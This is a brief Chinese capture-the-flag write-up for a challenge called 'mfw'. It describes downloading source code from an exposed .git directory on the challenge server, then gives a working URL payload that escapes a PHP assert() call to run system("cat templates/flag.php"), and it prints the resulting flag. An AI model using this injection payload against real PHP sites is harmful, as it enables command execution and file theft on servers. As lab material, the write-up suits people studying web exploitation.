mfw
题目:
解题:
简单浏览之后,发现有flag.php文件,而且使用了git,http://111.198.29.45:42959/.git 也存在
使用工具下载源码
以为得到flag了,但是flag.php里面并没有
还得另寻办法
下载的源码中有assert,可以构造命令执行,http://111.198.29.45:42959/?page=%27)or%20system(%22cat%20templates/flag.php%22);//
cyberpeace{0a902069be844ccf8c38207716f18c2e}